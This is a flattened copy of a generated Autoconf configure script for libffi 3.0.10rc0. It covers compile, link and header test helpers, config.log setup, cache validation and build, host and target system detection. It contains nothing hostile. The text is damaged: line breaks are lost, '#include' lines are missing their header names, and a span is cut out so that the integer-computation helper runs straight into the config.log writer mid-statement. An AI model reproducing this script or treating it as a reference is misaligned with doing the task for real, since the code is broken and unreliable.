as_lineno_stack=as_lineno_stack=$as_lineno_stack rm -f conftest.$ac_objext if { { ac_try="$ac_compile" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_compile") 2>conftest.err ac_status=$? if test -s conftest.err; then grep -v '^ *+' conftest.err >conftest.er1 cat conftest.er1 >&5 mv -f conftest.er1 conftest.err fi $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; } && { test -z "$ac_c_werror_flag" || test ! -s conftest.err } && test -s conftest.$ac_objext; then : ac_retval=0 else $as_echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_retval=1 fi eval $as_lineno_stack; test "x$as_lineno_stack" = x && { as_lineno=; unset as_lineno;} as_fn_set_status $ac_retval } # ac_fn_c_try_compile # ac_fn_c_try_link LINENO # ----------------------- # Try to link conftest.$ac_ext, and return whether this succeeded. ac_fn_c_try_link () { as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack rm -f conftest.$ac_objext conftest$ac_exeext if { { ac_try="$ac_link" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_link") 2>conftest.err ac_status=$? if test -s conftest.err; then grep -v '^ *+' conftest.err >conftest.er1 cat conftest.er1 >&5 mv -f conftest.er1 conftest.err fi $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; } && { test -z "$ac_c_werror_flag" || test ! -s conftest.err } && test -s conftest$ac_exeext && { test "$cross_compiling" = yes || $as_test_x conftest$ac_exeext }; then : ac_retval=0 else $as_echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_retval=1 fi # Delete the IPA/IPO (Inter Procedural Analysis/Optimization) information # created by the PGI compiler (conftest_ipa8_conftest.oo), as it would # interfere with the next link command; also delete a directory that is # left behind by Apple's compiler. We do this before executing the actions. rm -rf conftest.dSYM conftest_ipa8_conftest.oo eval $as_lineno_stack; test "x$as_lineno_stack" = x && { as_lineno=; unset as_lineno;} as_fn_set_status $ac_retval } # ac_fn_c_try_link # ac_fn_c_check_header_compile LINENO HEADER VAR INCLUDES # ------------------------------------------------------- # Tests whether HEADER exists and can be compiled using the include files in # INCLUDES, setting the cache variable VAR accordingly. ac_fn_c_check_header_compile () { as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $2" >&5 $as_echo_n "checking for $2... " >&6; } if { as_var=$3; eval "test \"\${$as_var+set}\" = set"; }; then : $as_echo_n "(cached) " >&6 else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ $4 #include <$2> _ACEOF if ac_fn_c_try_compile "$LINENO"; then : eval "$3=yes" else eval "$3=no" fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext fi eval ac_res=\$$3 { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5 $as_echo "$ac_res" >&6; } eval $as_lineno_stack; test "x$as_lineno_stack" = x && { as_lineno=; unset as_lineno;} } # ac_fn_c_check_header_compile # ac_fn_c_try_cpp LINENO # ---------------------- # Try to preprocess conftest.$ac_ext, and return whether this succeeded. ac_fn_c_try_cpp () { as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack if { { ac_try="$ac_cpp conftest.$ac_ext" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_cpp conftest.$ac_ext") 2>conftest.err ac_status=$? if test -s conftest.err; then grep -v '^ *+' conftest.err >conftest.er1 cat conftest.er1 >&5 mv -f conftest.er1 conftest.err fi $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; } >/dev/null && { test -z "$ac_c_preproc_warn_flag$ac_c_werror_flag" || test ! -s conftest.err }; then : ac_retval=0 else $as_echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_retval=1 fi eval $as_lineno_stack; test "x$as_lineno_stack" = x && { as_lineno=; unset as_lineno;} as_fn_set_status $ac_retval } # ac_fn_c_try_cpp # ac_fn_c_try_run LINENO # ---------------------- # Try to link conftest.$ac_ext, and return whether this succeeded. Assumes # that executables *can* be run. ac_fn_c_try_run () { as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack if { { ac_try="$ac_link" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_link") 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; } && { ac_try='./conftest$ac_exeext' { { case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_try") 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; }; }; then : ac_retval=0 else $as_echo "$as_me: program exited with status $ac_status" >&5 $as_echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_retval=$ac_status fi rm -rf conftest.dSYM conftest_ipa8_conftest.oo eval $as_lineno_stack; test "x$as_lineno_stack" = x && { as_lineno=; unset as_lineno;} as_fn_set_status $ac_retval } # ac_fn_c_try_run # ac_fn_c_check_func LINENO FUNC VAR # ---------------------------------- # Tests whether FUNC exists, setting the cache variable VAR accordingly ac_fn_c_check_func () { as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $2" >&5 $as_echo_n "checking for $2... " >&6; } if { as_var=$3; eval "test \"\${$as_var+set}\" = set"; }; then : $as_echo_n "(cached) " >&6 else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ /* Define $2 to an innocuous variant, in case declares $2. For example, HP-UX 11i declares gettimeofday. */ #define $2 innocuous_$2 /* System header to define __stub macros and hopefully few prototypes, which can conflict with char $2 (); below. Prefer to if __STDC__ is defined, since exists even on freestanding compilers. */ #ifdef __STDC__ # include #else # include #endif #undef $2 /* Override any GCC internal prototype to avoid an error. Use char because int might match the return type of a GCC builtin and then its argument prototype would still apply. */ #ifdef __cplusplus extern "C" #endif char $2 (); /* The GNU C library defines this for functions which it implements to always fail with ENOSYS. Some functions are actually named something starting with __ and the normal name is an alias. */ #if defined __stub_$2 || defined __stub___$2 choke me #endif int main () { return $2 (); ; return 0; } _ACEOF if ac_fn_c_try_link "$LINENO"; then : eval "$3=yes" else eval "$3=no" fi rm -f core conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext fi eval ac_res=\$$3 { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5 $as_echo "$ac_res" >&6; } eval $as_lineno_stack; test "x$as_lineno_stack" = x && { as_lineno=; unset as_lineno;} } # ac_fn_c_check_func # ac_fn_c_check_header_mongrel LINENO HEADER VAR INCLUDES # ------------------------------------------------------- # Tests whether HEADER exists, giving a warning if it cannot be compiled using # the include files in INCLUDES and setting the cache variable VAR # accordingly. ac_fn_c_check_header_mongrel () { as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack if { as_var=$3; eval "test \"\${$as_var+set}\" = set"; }; then : { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $2" >&5 $as_echo_n "checking for $2... " >&6; } if { as_var=$3; eval "test \"\${$as_var+set}\" = set"; }; then : $as_echo_n "(cached) " >&6 fi eval ac_res=\$$3 { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5 $as_echo "$ac_res" >&6; } else # Is the header compilable? { $as_echo "$as_me:${as_lineno-$LINENO}: checking $2 usability" >&5 $as_echo_n "checking $2 usability... " >&6; } cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ $4 #include <$2> _ACEOF if ac_fn_c_try_compile "$LINENO"; then : ac_header_compiler=yes else ac_header_compiler=no fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_header_compiler" >&5 $as_echo "$ac_header_compiler" >&6; } # Is the header present? { $as_echo "$as_me:${as_lineno-$LINENO}: checking $2 presence" >&5 $as_echo_n "checking $2 presence... " >&6; } cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include <$2> _ACEOF if ac_fn_c_try_cpp "$LINENO"; then : ac_header_preproc=yes else ac_header_preproc=no fi rm -f conftest.err conftest.$ac_ext { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_header_preproc" >&5 $as_echo "$ac_header_preproc" >&6; } # So? What about this header? case $ac_header_compiler:$ac_header_preproc:$ac_c_preproc_warn_flag in #(( yes:no: ) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: accepted by the compiler, rejected by the preprocessor!" >&5 $as_echo "$as_me: WARNING: $2: accepted by the compiler, rejected by the preprocessor!" >&2;} { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: proceeding with the compiler's result" >&5 $as_echo "$as_me: WARNING: $2: proceeding with the compiler's result" >&2;} ;; no:yes:* ) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: present but cannot be compiled" >&5 $as_echo "$as_me: WARNING: $2: present but cannot be compiled" >&2;} { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: check for missing prerequisite headers?" >&5 $as_echo "$as_me: WARNING: $2: check for missing prerequisite headers?" >&2;} { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: see the Autoconf documentation" >&5 $as_echo "$as_me: WARNING: $2: see the Autoconf documentation" >&2;} { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: section \"Present But Cannot Be Compiled\"" >&5 $as_echo "$as_me: WARNING: $2: section \"Present But Cannot Be Compiled\"" >&2;} { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: proceeding with the compiler's result" >&5 $as_echo "$as_me: WARNING: $2: proceeding with the compiler's result" >&2;} ( cat <<\_ASBOX ## ------------------------------------------- ## ## Report this to http://gcc.gnu.org/bugs.html ## ## ------------------------------------------- ## _ASBOX ) | sed "s/^/$as_me: WARNING: /" >&2 ;; esac { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $2" >&5 $as_echo_n "checking for $2... " >&6; } if { as_var=$3; eval "test \"\${$as_var+set}\" = set"; }; then : $as_echo_n "(cached) " >&6 else eval "$3=\$ac_header_compiler" fi eval ac_res=\$$3 { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5 $as_echo "$ac_res" >&6; } fi eval $as_lineno_stack; test "x$as_lineno_stack" = x && { as_lineno=; unset as_lineno;} } # ac_fn_c_check_header_mongrel # ac_fn_c_compute_int LINENO EXPR VAR INCLUDES # -------------------------------------------- # Tries to find the compile-time value of EXPR in a program that includes # INCLUDES, setting VAR accordingly. Returns whether the value could be # computed ac_fn_c_compute_int () { as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack if test "$cross_compiling" = yes; then # Depending upon the size, compute the lo and hi bounds. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ $4 int main () { static int test_array [1 - 2 * !(($2) >= 0)]; test_array [0] = 0 ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : ac_lo=0 ac_mid=0 while :; do cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ $4 int main () { static int test_array [1 - 2 * !(($2) <= $ac_mid)]; test_array [0] = 0 ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : ac_hi=$ac_mid; break else as_fn_arith $ac_mid + 1 && ac_lo=$as_val if test $ac_lo -le $ac_mid; then ac_lo= ac_hi= break fi as_fn_arith 2 '*' $ac_mid + 1 && ac_mid=$as_val fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext done else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ $4 int main () { static int test_array [1 - 2 * !(($2) < 0)]; test_array [0] = 0 ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : ac_hi=-1 ac_mid=-1 while :; do cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ $4 int main () { static int test_array [1 - 2 * !(($2) >= $ac_mid)]; test_array [0] = 0 ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : ac_lo=$ac_mid; break else as_fn_arith '(' $ac_mid ')' - 1 && ac_hi=$as_val if test $ac_mid -le $ac_hi; then ac_lo= ac_hi= break fi as_fn_arith 2 '*' $ac_mid && ac_mid=$as_val fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext done else ac_lo= ac_hi= fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext # Binary search between lo and hi bounds. while test "x$ac_lo" != "x$ac_hi"; do as_fn_arith '(' $ac_hi - $ac_lo ')' / 2 + $ac_lo && ac_mid=$as_val cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ $4 int main () { static int test_array [1 - 2 * !(($2) <= $ac_mid)]; test_array [0] = 0 ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : ac_hi=$ac_mid else as_fn_arith '(' $ac_mid ')' + 1 && ac_lo=$as_val fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext done case $ac_lo in #(( ?*) eval "$3=\$ac_lo"; ac_retval=0 ;; '') ac_retval=1 ;; esac else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ $4 static long int longval () { return $2; } static unsigned long int ulongval () { return $2; } #include #include int main () { FILE *f = fopen ("conftest.val", "w"); if (! f) return 1; if (($2) < 0) { long int i = longval (); if (i != ($2)) return 1; fprintf (f, "%ld", i); } else { unsigned long int i = ulongval (); if (i != ($2)) return 1; fprintf (f, "%lu", i); } /* Do not output a trailing newline, as this causes \r\n confusion on some platforms. */ return ferror (f) || fclose (f) != 0; ; return 0; } _ACEOF if ac_fn_c_try_run "$LINENO"; then : echo >>conftest.val; read $3 config.log <<_ACEOF This file contains any messages produced by compilers while running configure, to aid debugging if configure makes a mistake. It was created by libffi $as_me 3.0.10rc0, which was generated by GNU Autoconf 2.65. Invocation command line was $ $0 $@ _ACEOF exec 5>>config.log { cat <<_ASUNAME ## --------- ## ## Platform. ## ## --------- ## hostname = `(hostname || uname -n) 2>/dev/null | sed 1q` uname -m = `(uname -m) 2>/dev/null || echo unknown` uname -r = `(uname -r) 2>/dev/null || echo unknown` uname -s = `(uname -s) 2>/dev/null || echo unknown` uname -v = `(uname -v) 2>/dev/null || echo unknown` /usr/bin/uname -p = `(/usr/bin/uname -p) 2>/dev/null || echo unknown` /bin/uname -X = `(/bin/uname -X) 2>/dev/null || echo unknown` /bin/arch = `(/bin/arch) 2>/dev/null || echo unknown` /usr/bin/arch -k = `(/usr/bin/arch -k) 2>/dev/null || echo unknown` /usr/convex/getsysinfo = `(/usr/convex/getsysinfo) 2>/dev/null || echo unknown` /usr/bin/hostinfo = `(/usr/bin/hostinfo) 2>/dev/null || echo unknown` /bin/machine = `(/bin/machine) 2>/dev/null || echo unknown` /usr/bin/oslevel = `(/usr/bin/oslevel) 2>/dev/null || echo unknown` /bin/universe = `(/bin/universe) 2>/dev/null || echo unknown` _ASUNAME as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. $as_echo "PATH: $as_dir" done IFS=$as_save_IFS } >&5 cat >&5 <<_ACEOF ## ----------- ## ## Core tests. ## ## ----------- ## _ACEOF # Keep a trace of the command line. # Strip out --no-create and --no-recursion so they do not pile up. # Strip out --silent because we don't want to record it for future runs. # Also quote any args containing shell meta-characters. # Make two passes to allow for proper duplicate-argument suppression. ac_configure_args= ac_configure_args0= ac_configure_args1= ac_must_keep_next=false for ac_pass in 1 2 do for ac_arg do case $ac_arg in -no-create | --no-c* | -n | -no-recursion | --no-r*) continue ;; -q | -quiet | --quiet | --quie | --qui | --qu | --q \ | -silent | --silent | --silen | --sile | --sil) continue ;; *\'*) ac_arg=`$as_echo "$ac_arg" | sed "s/'/'\\\\\\\\''/g"` ;; esac case $ac_pass in 1) as_fn_append ac_configure_args0 " '$ac_arg'" ;; 2) as_fn_append ac_configure_args1 " '$ac_arg'" if test $ac_must_keep_next = true; then ac_must_keep_next=false # Got value, back to normal. else case $ac_arg in *=* | --config-cache | -C | -disable-* | --disable-* \ | -enable-* | --enable-* | -gas | --g* | -nfp | --nf* \ | -q | -quiet | --q* | -silent | --sil* | -v | -verb* \ | -with-* | --with-* | -without-* | --without-* | --x) case "$ac_configure_args0 " in "$ac_configure_args1"*" '$ac_arg' "* ) continue ;; esac ;; -* ) ac_must_keep_next=true ;; esac fi as_fn_append ac_configure_args " '$ac_arg'" ;; esac done done { ac_configure_args0=; unset ac_configure_args0;} { ac_configure_args1=; unset ac_configure_args1;} # When interrupted or exit'd, cleanup temporary files, and complete # config.log. We remove comments because anyway the quotes in there # would cause problems or look ugly. # WARNING: Use '\'' to represent an apostrophe within the trap. # WARNING: Do not start the trap code with a newline, due to a FreeBSD 4.0 bug. trap 'exit_status=$? # Save into config.log some information that might help in debugging. { echo cat <<\_ASBOX ## ---------------- ## ## Cache variables. ## ## ---------------- ## _ASBOX echo # The following way of writing the cache mishandles newlines in values, ( for ac_var in `(set) 2>&1 | sed -n '\''s/^\([a-zA-Z_][a-zA-Z0-9_]*\)=.*/\1/p'\''`; do eval ac_val=\$$ac_var case $ac_val in #( *${as_nl}*) case $ac_var in #( *_cv_*) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: cache variable $ac_var contains a newline" >&5 $as_echo "$as_me: WARNING: cache variable $ac_var contains a newline" >&2;} ;; esac case $ac_var in #( _ | IFS | as_nl) ;; #( BASH_ARGV | BASH_SOURCE) eval $ac_var= ;; #( *) { eval $ac_var=; unset $ac_var;} ;; esac ;; esac done (set) 2>&1 | case $as_nl`(ac_space='\'' '\''; set) 2>&1` in #( *${as_nl}ac_space=\ *) sed -n \ "s/'\''/'\''\\\\'\'''\''/g; s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1='\''\\2'\''/p" ;; #( *) sed -n "/^[_$as_cr_alnum]*_cv_[_$as_cr_alnum]*=/p" ;; esac | sort ) echo cat <<\_ASBOX ## ----------------- ## ## Output variables. ## ## ----------------- ## _ASBOX echo for ac_var in $ac_subst_vars do eval ac_val=\$$ac_var case $ac_val in *\'\''*) ac_val=`$as_echo "$ac_val" | sed "s/'\''/'\''\\\\\\\\'\'''\''/g"`;; esac $as_echo "$ac_var='\''$ac_val'\''" done | sort echo if test -n "$ac_subst_files"; then cat <<\_ASBOX ## ------------------- ## ## File substitutions. ## ## ------------------- ## _ASBOX echo for ac_var in $ac_subst_files do eval ac_val=\$$ac_var case $ac_val in *\'\''*) ac_val=`$as_echo "$ac_val" | sed "s/'\''/'\''\\\\\\\\'\'''\''/g"`;; esac $as_echo "$ac_var='\''$ac_val'\''" done | sort echo fi if test -s confdefs.h; then cat <<\_ASBOX ## ----------- ## ## confdefs.h. ## ## ----------- ## _ASBOX echo cat confdefs.h echo fi test "$ac_signal" != 0 && $as_echo "$as_me: caught signal $ac_signal" $as_echo "$as_me: exit $exit_status" } >&5 rm -f core *.core core.conftest.* && rm -f -r conftest* confdefs* conf$$* $ac_clean_files && exit $exit_status ' 0 for ac_signal in 1 2 13 15; do trap 'ac_signal='$ac_signal'; as_fn_exit 1' $ac_signal done ac_signal=0 # confdefs.h avoids OS command line length limits that DEFS can exceed. rm -f -r conftest* confdefs.h $as_echo "/* confdefs.h */" > confdefs.h # Predefined preprocessor variables. cat >>confdefs.h <<_ACEOF #define PACKAGE_NAME "$PACKAGE_NAME" _ACEOF cat >>confdefs.h <<_ACEOF #define PACKAGE_TARNAME "$PACKAGE_TARNAME" _ACEOF cat >>confdefs.h <<_ACEOF #define PACKAGE_VERSION "$PACKAGE_VERSION" _ACEOF cat >>confdefs.h <<_ACEOF #define PACKAGE_STRING "$PACKAGE_STRING" _ACEOF cat >>confdefs.h <<_ACEOF #define PACKAGE_BUGREPORT "$PACKAGE_BUGREPORT" _ACEOF cat >>confdefs.h <<_ACEOF #define PACKAGE_URL "$PACKAGE_URL" _ACEOF # Let the site file select an alternate cache file if it wants to. # Prefer an explicitly selected file to automatically selected ones. ac_site_file1=NONE ac_site_file2=NONE if test -n "$CONFIG_SITE"; then ac_site_file1=$CONFIG_SITE elif test "x$prefix" != xNONE; then ac_site_file1=$prefix/share/config.site ac_site_file2=$prefix/etc/config.site else ac_site_file1=$ac_default_prefix/share/config.site ac_site_file2=$ac_default_prefix/etc/config.site fi for ac_site_file in "$ac_site_file1" "$ac_site_file2" do test "x$ac_site_file" = xNONE && continue if test /dev/null != "$ac_site_file" && test -r "$ac_site_file"; then { $as_echo "$as_me:${as_lineno-$LINENO}: loading site script $ac_site_file" >&5 $as_echo "$as_me: loading site script $ac_site_file" >&6;} sed 's/^/| /' "$ac_site_file" >&5 . "$ac_site_file" fi done if test -r "$cache_file"; then # Some versions of bash will fail to source /dev/null (special files # actually), so we avoid doing that. DJGPP emulates it as a regular file. if test /dev/null != "$cache_file" && test -f "$cache_file"; then { $as_echo "$as_me:${as_lineno-$LINENO}: loading cache $cache_file" >&5 $as_echo "$as_me: loading cache $cache_file" >&6;} case $cache_file in [\\/]* | ?:[\\/]* ) . "$cache_file";; *) . "./$cache_file";; esac fi else { $as_echo "$as_me:${as_lineno-$LINENO}: creating cache $cache_file" >&5 $as_echo "$as_me: creating cache $cache_file" >&6;} >$cache_file fi # Check that the precious variables saved in the cache have kept the same # value. ac_cache_corrupted=false for ac_var in $ac_precious_vars; do eval ac_old_set=\$ac_cv_env_${ac_var}_set eval ac_new_set=\$ac_env_${ac_var}_set eval ac_old_val=\$ac_cv_env_${ac_var}_value eval ac_new_val=\$ac_env_${ac_var}_value case $ac_old_set,$ac_new_set in set,) { $as_echo "$as_me:${as_lineno-$LINENO}: error: \`$ac_var' was set to \`$ac_old_val' in the previous run" >&5 $as_echo "$as_me: error: \`$ac_var' was set to \`$ac_old_val' in the previous run" >&2;} ac_cache_corrupted=: ;; ,set) { $as_echo "$as_me:${as_lineno-$LINENO}: error: \`$ac_var' was not set in the previous run" >&5 $as_echo "$as_me: error: \`$ac_var' was not set in the previous run" >&2;} ac_cache_corrupted=: ;; ,);; *) if test "x$ac_old_val" != "x$ac_new_val"; then # differences in whitespace do not lead to failure. ac_old_val_w=`echo x $ac_old_val` ac_new_val_w=`echo x $ac_new_val` if test "$ac_old_val_w" != "$ac_new_val_w"; then { $as_echo "$as_me:${as_lineno-$LINENO}: error: \`$ac_var' has changed since the previous run:" >&5 $as_echo "$as_me: error: \`$ac_var' has changed since the previous run:" >&2;} ac_cache_corrupted=: else { $as_echo "$as_me:${as_lineno-$LINENO}: warning: ignoring whitespace changes in \`$ac_var' since the previous run:" >&5 $as_echo "$as_me: warning: ignoring whitespace changes in \`$ac_var' since the previous run:" >&2;} eval $ac_var=\$ac_old_val fi { $as_echo "$as_me:${as_lineno-$LINENO}: former value: \`$ac_old_val'" >&5 $as_echo "$as_me: former value: \`$ac_old_val'" >&2;} { $as_echo "$as_me:${as_lineno-$LINENO}: current value: \`$ac_new_val'" >&5 $as_echo "$as_me: current value: \`$ac_new_val'" >&2;} fi;; esac # Pass precious variables to config.status. if test "$ac_new_set" = set; then case $ac_new_val in *\'*) ac_arg=$ac_var=`$as_echo "$ac_new_val" | sed "s/'/'\\\\\\\\''/g"` ;; *) ac_arg=$ac_var=$ac_new_val ;; esac case " $ac_configure_args " in *" '$ac_arg' "*) ;; # Avoid dups. Use of quotes ensures accuracy. *) as_fn_append ac_configure_args " '$ac_arg'" ;; esac fi done if $ac_cache_corrupted; then { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} { $as_echo "$as_me:${as_lineno-$LINENO}: error: changes in the environment can compromise the build" >&5 $as_echo "$as_me: error: changes in the environment can compromise the build" >&2;} as_fn_error "run \`make distclean' and/or \`rm $cache_file' and start over" "$LINENO" 5 fi ## -------------------- ## ## Main body of script. ## ## -------------------- ## ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu ac_config_headers="$ac_config_headers fficonfig.h" ac_aux_dir= for ac_dir in "$srcdir" "$srcdir/.." "$srcdir/../.."; do for ac_t in install-sh install.sh shtool; do if test -f "$ac_dir/$ac_t"; then ac_aux_dir=$ac_dir ac_install_sh="$ac_aux_dir/$ac_t -c" break 2 fi done done if test -z "$ac_aux_dir"; then as_fn_error "cannot find install-sh, install.sh, or shtool in \"$srcdir\" \"$srcdir/..\" \"$srcdir/../..\"" "$LINENO" 5 fi # These three variables are undocumented and unsupported, # and are intended to be withdrawn in a future Autoconf release. # They can cause serious problems if a builder's source tree is in a directory # whose full name contains unusual characters. ac_config_guess="$SHELL $ac_aux_dir/config.guess" # Please don't use this var. ac_config_sub="$SHELL $ac_aux_dir/config.sub" # Please don't use this var. ac_configure="$SHELL $ac_aux_dir/configure" # Please don't use this var. # Make sure we can run config.sub. $SHELL "$ac_aux_dir/config.sub" sun4 >/dev/null 2>&1 || as_fn_error "cannot run $SHELL $ac_aux_dir/config.sub" "$LINENO" 5 { $as_echo "$as_me:${as_lineno-$LINENO}: checking build system type" >&5 $as_echo_n "checking build system type... " >&6; } if test "${ac_cv_build+set}" = set; then : $as_echo_n "(cached) " >&6 else ac_build_alias=$build_alias test "x$ac_build_alias" = x && ac_build_alias=`$SHELL "$ac_aux_dir/config.guess"` test "x$ac_build_alias" = x && as_fn_error "cannot guess build type; you must specify one" "$LINENO" 5 ac_cv_build=`$SHELL "$ac_aux_dir/config.sub" $ac_build_alias` || as_fn_error "$SHELL $ac_aux_dir/config.sub $ac_build_alias failed" "$LINENO" 5 fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_build" >&5 $as_echo "$ac_cv_build" >&6; } case $ac_cv_build in *-*-*) ;; *) as_fn_error "invalid value of canonical build" "$LINENO" 5;; esac build=$ac_cv_build ac_save_IFS=$IFS; IFS='-' set x $ac_cv_build shift build_cpu=$1 build_vendor=$2 shift; shift # Remember, the first character of IFS is used to create $*, # except with old shells: build_os=$* IFS=$ac_save_IFS case $build_os in *\ *) build_os=`echo "$build_os" | sed 's/ /-/g'`;; esac { $as_echo "$as_me:${as_lineno-$LINENO}: checking host system type" >&5 $as_echo_n "checking host system type... " >&6; } if test "${ac_cv_host+set}" = set; then : $as_echo_n "(cached) " >&6 else if test "x$host_alias" = x; then ac_cv_host=$ac_cv_build else ac_cv_host=`$SHELL "$ac_aux_dir/config.sub" $host_alias` || as_fn_error "$SHELL $ac_aux_dir/config.sub $host_alias failed" "$LINENO" 5 fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_host" >&5 $as_echo "$ac_cv_host" >&6; } case $ac_cv_host in *-*-*) ;; *) as_fn_error "invalid value of canonical host" "$LINENO" 5;; esac host=$ac_cv_host ac_save_IFS=$IFS; IFS='-' set x $ac_cv_host shift host_cpu=$1 host_vendor=$2 shift; shift # Remember, the first character of IFS is used to create $*, # except with old shells: host_os=$* IFS=$ac_save_IFS case $host_os in *\ *) host_os=`echo "$host_os" | sed 's/ /-/g'`;; esac { $as_echo "$as_me:${as_lineno-$LINENO}: checking target system type" >&5 $as_echo_n "checking target system type... " >&6; } if test "${ac_cv_target+set}" = set; then : $as_echo_n "(cached) " >&6 else if test "x$target_alias" = x; then ac_cv_target=$ac_cv_host else ac_cv_target=`$SHELL "$ac_aux_dir/config.sub" $target_alias` || as_fn_error "$SHELL $ac_aux_dir/config.sub $target_alias failed" "$LINENO" 5 fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_target" >&5 $as_echo "$ac_cv_target" >&6; } case $ac_cv_target in *-*-*) ;; *) as_fn_error "invalid value of canonical target" "$LINENO" 5;; esac target=$ac_cv_target ac_save_IFS=$IFS; IFS='-' set x $ac_cv_target shift target_cpu=$1 target_vendor=$2 shift; shift # Remember, the first character of IFS is used to create $*, # except with old shells: target_os=$* IFS=$ac_save_IFS case $target_os in *\ *) target_os=`echo "$target_os" | sed 's/ /-/g'`;; esac # The aliases save the names the user supplied, while $host etc. # will get canonicalized. test -n "$target_alias" && test 